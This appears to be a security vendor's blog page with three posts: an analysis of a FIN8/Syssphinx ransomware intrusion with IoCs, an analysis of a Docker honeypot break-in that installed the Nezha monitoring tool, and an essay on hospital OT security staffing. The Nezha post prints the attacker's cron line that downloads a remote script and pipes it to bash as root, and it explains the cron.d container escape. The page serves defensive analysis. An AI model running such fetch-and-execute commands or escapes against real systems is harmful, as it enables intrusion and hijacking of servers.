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August 2, 2023

Darktrace's Detection of Ransomware & Syssphinx

Read how Darktrace identified an attack technique by the threat group, Syssphinx. Learn how Darktrace's quick identification process can spot a threat.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Adam Potter
Senior Cyber Analyst
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02
Aug 2023

Introduction

As the threat of costly cyber-attacks continues represent a real concern to security teams across the threat landscape, more and more organizations are strengthening their defenses with additional security tools to identify attacks and protect their networks. As a result, malicious actors are being forced to adapt their tactics, modify existing variants of malicious software, or utilize entirely new variants.  

Symantec recently released an article about Syssphinx, the financially motivated cyber threat group previously known for their point-of-sale attacks. Syssphinx attempts to deploy ransomware on customer networks via a modified version of their ‘Sardonic’ backdoor. Such activity highlights the ability of threat actors to alter the composition and presentation of payloads, tools, and tactics.

Darktrace recently detected some of the same indicators suggesting a likely Syssphinx compromise within the network of a customer trialing the Darktrace DETECT™ and RESPOND™ products. Despite the potential for variations in the construction of backdoors and payloads used by the group, Darktrace’s anomaly-based approach to threat detection allowed it to stitch together a detailed account of compromise activity and identify the malicious activity prior to disruptive events on the customer’s network.

What is Syssphinx?

Syssphinx is a notorious cyber threat entity known for its financially motivated compromises.  Also referred to as FIN8, Syssphinx has been observed as early as 2016 and is largely known to target private sector entities in the retail, hospitality, insurance, IT, and financial sectors.[1]

Although Syssphinx primarily began focusing on point-of-sale style attacks, the activity associated with the group has more recently incorporated ransomware variants into their intrusions in a potential bid to further extract funds from target organizations.[2]

Syssphinx Sardonic Backdoor

Given this gradual opportunistic incorporation of ransomware, it should not be surprising that Syssphinx has slowly expanded its repertoire of tools.  When primarily performing point-of-sale compromises, the group was known for its use of point-of-sale specific malwares including BadHatch, PoSlurp/PunchTrack, and PowerSniff/PunchBuggy/ShellTea.[3]

However, in a seeming response to updates in detection systems while using previous indicators of compromise (IoCs), Syssphinx began to modify its BadHatch malware.  This resulted in the use of a C++ derived backdoor known as “Sardonic”, which has the ability to aggregate host credentials, spawn additional command sessions, and deliver payloads to compromised devices via dynamic-link library (DLL).[4],[5]

Analysis of the latest version of Sardonic reveals further changes to the malware to elude detection. These shifts include the implementation of the backdoor in the C programming language, and additional over-the-network communication obfuscation techniques. [6]

During the post-exploitation phase, the group tends to rely on “living-off-the-land” tactics, whereby an attacker utilizes tools already present within the organization’s digital environment to avoid detection. Syssphinx seems to utilize system-native tools such as PowerShell and the Windows Management Instrumentation (WMI) interface.[7] It is also not uncommon to see Windows-based vulnerability exploits employed on compromised devices. This has been observed by researchers who have examined previous iterations of Syssphinx backdoors.[8] Syssphinx also appears to exhibit elements of strategic patience and discipline in its operations, with significant time gaps in operations noted by researchers. During this time, it appears likely that updates and tweaks were applied to Syssphinx payloads.

Compromise Details

In late April 2023, Darktrace identified an active compromise on the network of a prospective customer who was trialing Darktrace DETECT+RESPOND. The customer, a retailer in EMEA with hundreds of tracked devices, reached out to the Darktrace Analyst team via the Ask the Expert (ATE) service for support and further investigation, following the encryption of their server and backup data storage in an apparent ransomware attack. Although the encryption events fell outside Darktrace’s purview due to a limited set up of trial appliances, Darktrace was able to directly track early stages of the compromise before exfiltration and encryption events began. If a full deployment had been set up and RESPOND functionality had been configured in autonomous response mode, Darktrace may have helped mitigate such encryption events and would have aided in the early identification of this ransomware attack.

Initial Intrusion and Establishment of Command and Control (C2) Infrastructure

As noted by security researchers, Syssphinx largely relies on social engineering and phishing emails to deliver its backdoor payloads. As there were no Darktrace/Email™ products deployed for this customer, it would be difficult to directly observe the exact time and manner of initial payload delivery related to this compromise. This is compounded by the fact that the customer had only recently began using Darktrace’s products during their trial period. Given the penchant for patience and delay by Syssphinx, it is possible that the intrusion began well before Darktrace had visibility of the organization’s network.

However, beginning on April 30, 2023, at 07:17:31 UTC, Darktrace observed the domain controller dc01.corp.XXXX  making repeated SSL connections to the endpoint 173-44-141-47[.]nip[.]io. In addition to the multiple open-source intelligence (OSINT) flags for this endpoint, the construction of the domain parallels that of the initial domain used to deliver a backdoor, as noted by Symantec in their analysis (37-10-71-215[.]nip[.]io). This activity likely represented the initial beaconing being performed by the compromised device. Additionally, an elevated level of incoming external data over port 443 was observed during this time, which may be associated with the delivery of the Sardonic backdoor payload. Given the unusual use of port 443 to perform SSH connections later seen in the kill chain of this attack, this activity could also parallel the employment of embedded backdoor payloads seen in the latest iteration of the Sardonic backdoor noted by Symantec.

Figure 1: Graph of the incoming external data surrounding the time of the initial establishment of command and control communication for the domain controller. As seen in the graph, the spike in incoming external data during this time may parallel the delivery of Syssphinx Sardonic backdoor.

Regardless, the domain controller proceeded to make repeated connections over port 443 to the noted domain.

Figure 2: Breach event log for the domain controller making repeated connections over port 443 to the rare external destination endpoint in constitute the establishment of C2 communication.

Internal Reconnaissance/Privilege Escalation

Following the establishment of C2 communication, Darktrace detected numerous elements of internal reconnaissance. On Apr 30, 2023, at 22:06:26 UTC, the desktop device desktop_02.corp.XXXX proceeded to perform more than 100 DRSGetNCChanges requests to the aforementioned domain controller. These commands, which are typically implemented over the RPC protocol on the DRSUAPI interface, are frequently utilized in Active Directory sync attacks to copy Active Directory information from domain controllers. Such activity, when not performed by new domain controllers to sync Active Directory contents, can indicate malicious domain or user enumeration, credential compromise or Active Directory enumeration.

Although the affected device made these requests to the previously noted domain controller, which was already compromised, such activity may have further enabled the compromise by allowing the threat actor to transfer these details to a more easily manageable device.

The device performing these DRSGetNCChanges requests would later be seen performing lateral movement activity and making connections to malicious endpoints.

Figure 3: Breach log highlighting the DRS operations performed by the corporate device to the destination domain controller. Such activity is rarely authorized for devices not tagged as administrative or as domain controllers.

Execution and Lateral Movement

At 23:09:53 UTC on April 30, 2023, the original domain server proceeded to make multiple uncommon WMI calls to a destination server on the same subnet (server01.corp.XXXX). Specifically, the device was observed making multiple RPC calls to IWbem endpoints on the server, which included login and ExecMethod (method execution) commands on the destination device. This destination device later proceeded to conduct additional beaconing activity to C2 endpoints and exfiltrate data.

Figure 4: Breach log for the domain controller performing WMI commands to the destination server during the lateral movement phase of the breach.

Similarly, beginning on May 1, 2023, at 00:11:09 UTC, the device desktop_02.corp.XXXX made multiple WMI requests to two additional devices, one server and one desktop, within the same subnet as the original domain controller. During this time, desktop_02.corp.XXXX  also utilized SMBv1, an outdated and typically non-compliant version communication protocol, to write the file rclone.exe to the same two destination devices. Rclone.exe, and its accompanying bat file, is a command-line tool developed by IT provider Rclone, to perform file management tasks. During this time, Darktrace also observed the device reading and deleting an unexpected numeric file on the ADMIN$ of the destination server, which may represent additional defense evasion techniques and tool staging.

Figure 5: Event log highlighting the writing of rclone.exe using the outdated SMBv1 communication protocol.
Figure 6: SMB logs indicating the reading and deletion of numeric string files on ADMIN$ shares of the destination devices during the time of the rclone.exe SMB writes. Such activity may be associated with tool staging and could indicate potential defense evasion techniques.

Given that the net loader sample analyzed by Symantec injects the backdoor into a WmiPrvSE.exe process, the use of WMI operations is not unexpected. Employment of WMI also correlates with the previously mentioned “living-off-the-land” tactics, as WMI services are commonly used for regular network and system administration purposes. Moreover, the staging of rclone.exe, a legitimate file management tool, for data exfiltration underscores attempts to blend into existing and expected network traffic and remain undetected on the customer’s network.

Data Exfiltration and Impact

Initial stages of data exfiltration actually began prior to some of the lateral movement events described above. On April 30, 2023, 23:09:47 the device server01.corp.XXXX, transferred nearly 11 GB of data to 173.44[.]141[.]47, as well as to the rare external IP address 170.130[.]55[.]77, which appears to have served as the main exfiltration destination during this compromise. Furthermore, the host made repeated connections to the same external IP associated with the initial suspicious beaconing activity (173.44[.]141[.]47) over SSL.

While the data exfiltration event unfolded, the device, server01.corp.XXXX, made multiple HTTP requests to 37.10[.]71[.]215, which featured URIs requesting the rclone.exe and rclone.bat files. This IP address was directly involved in the sample analyzed by Symantec. Furthermore, one of the devices that received the SMB file writes of rclone.exe and the WMI commands from desktop_02.corp.XXXX also performed SSL beaconing to endpoints associated with the compromise.

Between 01:20:45 - 03:31:41 UTC on May 1, 2023, a Darktrace detected a series of devices on the network performing a repeated pattern of activity, namely external connectivity followed by suspicious file downloads and external data transfer operations. Specifically, each affected device made multiple HTTP requests to 37.10[.]71[.]215 for rclone files. The devices proceeded to download the executable and/or binary files, and then transfer large amounts of data to the aforementioned endpoints, 170.130[.]55[.]77 and or 173-44-141-47[.]nip[.]io. Although the devices involved in data exfiltration utilized port 443 as a destination port, the connections actually used the SSH protocol. Darktrace recognized this behavior as unusual as port 443 is typically associated with the SSL protocol, while port 22 is reserved for SSH. Therefore, this activity may represent the threat actor’s attempts to remain undetected by security tools.

This unexpected use of SSH over port 443 also correlates with the descriptions of the new Sardonic backdoor according to threat researchers. Further beaconing and exfiltration activity was performed by an additional host one day later whereby the device made suspicious repeated connections to the aforementioned external hosts.

Figure 7: Connection details highlighting the use of port 443 for SSH connections during the exfiltration events.

In total, nine separate devices were involved in this pattern of activity. Five of these devices were labeled as ‘administrative’ devices according to their hostnames. Over the course of the entire exfiltration event, the attackers exfiltrated almost 61 GB of data from the organization’s environment.

Figure 8: Graph showing the levels of external data transfer from a breach device for one day on either side of the breach time. There is a large spike in such activity during the time of the breach that underscores the exfiltration events.

In addition to the individual anomaly detections by DETECT, Darktrace’s Cyber AI Analyst™ launched an autonomous investigation into the unusual behavior carried out by affected devices, connecting and collating multiple security events into one AI Analyst Incident. AI Analyst ensures that Darktrace can recognize and link the individual steps of a wider attack, rather than just identifying isolated incidents. While traditional security tools may mistake individual breaches as standalone activity, Darktrace’s AI allows it to provide unparalleled visibility over emerging attacks and their kill chains. Furthermore, Cyber AI Analyst’s instant autonomous investigations help to save customer security teams invaluable time in triaging incidents in comparison with human teams who would have to commit precious time and resources to conduct similar pattern analysis.

In this specific case, AI Analyst identified 44 separate security events from 18 different devices and was able to tie them together into one incident. The events that made up this AI Analyst Incident included:

  • Possible SSL Command and Control
  • Possible HTTP Command and Control
  • Unusual Repeated Connections
  • Suspicious Directory Replication ServiceActivity
  • Device / New or Uncommon WMI Activity
  • SMB Write of Suspicious File
  • Suspicious File Download
  • Unusual External Data Transfer
  • Unusual External Data Transfer to MultipleRelated Endpoints
Figure 9: Cyber AI Incident log highlighting multiple unusual anomalies and connecting them into one incident.

Had Darktrace RESPOND been enabled in autonomous response mode on the network of this prospective customer, it would have been able to take rapid mitigative action to block the malicious external connections used for C2 communication and subsequent data exfiltration, ideally halting the attack at this stage. As previously discussed, the limited network configuration of this trial customer meant that the encryption events unfortunately took place outside of Darktrace’s scope. When fully configured on a customer environment, Darktrace DETECT can identify such encryption attempts as soon as they occur. Darktrace RESPOND, in turn, would be able to immediately intervene by applying preventative actions like blocking internal connections that may represent file encryption, or limiting potentially compromised devices to a previously established pattern of life, ensuring they cannot carry out any suspicious activity.

Conclusion

Despite the limitations posed by the customer’s trial configuration, Darktrace demonstrated its ability to detect malicious activity associated with Syssphinx and track it across multiple stages of the kill chain.

Darktrace’s ability to identify the early stages of a compromise and various steps of the kill chain, highlights the necessity for machine learning-enabled, anomaly-based detection. In the face of threats such as Syssphinx, that exhibit the propensity to recast backdoor payloads and incorporate on “living-off-the-land” tactics, signatures and rules-based detection may not prove as effective. While Syssphinx and other threat groups will continue to adopt new tools, methods, and techniques, Darktrace’s Self-Learning AI is uniquely positioned to meet the challenge of such threats.

Appendix

DETECT Model Breaches Observed

•      Anomalous Server Activity / Anomalous External Activity from Critical Network Device

•      Anomalous Connection / Anomalous DRSGetNCChanges Operation

•      Device / New or Uncommon WMI Activity

•      Compliance / SMB Drive Write

•      Anomalous Connection / Data Sent to Rare Domain

•      Anomalous Connection / Uncommon 1 GiB Outbound

•      Unusual Activity / Unusual External Data Transfer

•      Unusual Activity / Unusual External Data to New Endpoints

•      Compliance / SSH to Rare External Destination

•      Anomalous Connection / Unusual SMB Version 1 Connectivity

•      Anomalous File / EXE from Rare External Location

•      Anomalous File / Script from Rare External Location

•      Compromise / Suspicious File and C2

•      Device / Initial Breach Chain Compromise

AI Analyst Incidents Observed

•      Possible SSL Command and Control

•      Possible HTTP Command and Control

•      Unusual Repeated Connections

•      Suspicious Directory Replication Service Activity

•      Device / New or Uncommon WMI Activity

•      SMB Write of Suspicious File

•      Suspicious File Download

•      Unusual External Data Transfer

•      Unusual External Data Transfer to Multiple Related Endpoints

IoCs

IoC - Type - Description

37.10[.]71[.]215 – IP – C2 + payload endpoint

173-44-141-47[.]nip[.]io – Hostname – C2 – payload

173.44[.]141[.]47 – IP – C2 + potential payload

170.130[.]55[.]77 – IP – Data exfiltration endpoint

Rclone.exe – Exe File – Common data tool

Rclone.bat – Script file – Common data tool

MITRE ATT&CK Mapping

Command and Control

T1071 - Application Layer Protocol

T1071.001 – Web protocols

T1573 – Encrypted channels

T1573.001 – Symmetric encryption

T1573.002 – Asymmetric encryption

T1571 – Non-standard port

T1105 – Ingress tool transfer

Execution

T1047 – Windows Management Instrumentation

Credential Access

T1003 – OS Credential Dumping

T1003.006 – DCSync

Lateral Movement

T1570 – Lateral Tool Transfer

T1021 - Remote Services

T1021.002 - SMB/Windows Admin Shares

T1021.006 – Windows Remote Management

Exfiltration

T1048 - Exfiltration Over Alternative Protocol

T1048.001 - Exfiltration Over Symmetric Encrypted Non-C2 Protocol

T1048.002 - Exfiltration Over Symmetric Encrypted Non-C2 Protocol

T1041 - Exfiltration Over C2 Channel

References

[1] https://cyberscoop.com/syssphinx-cybercrime-ransomware/

[2] https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/Syssphinx-FIN8-backdoor

[3] https://www.bleepingcomputer.com/news/security/fin8-deploys-alphv-ransomware-using-sardonic-malware-variant/

[4] https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/Syssphinx-FIN8-backdoor

[5] https://thehackernews.com/2023/07/fin8-group-using-modified-sardonic.html

[6] https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/Syssphinx-FIN8-backdoor

[7] https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/Syssphinx-FIN8-backdoor

[8] https://www.mandiant.com/resources/blog/windows-zero-day-payment-cards

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Adam Potter
Senior Cyber Analyst

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June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

nezha monitoring toolDefault blog imageDefault blog image

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

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Nathaniel Bill
Malware Research Engineer

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June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

healthcare OTDefault blog imageDefault blog image

Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

[related-resource]

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About the author
Daniel Simonds
Director of Operational Technology
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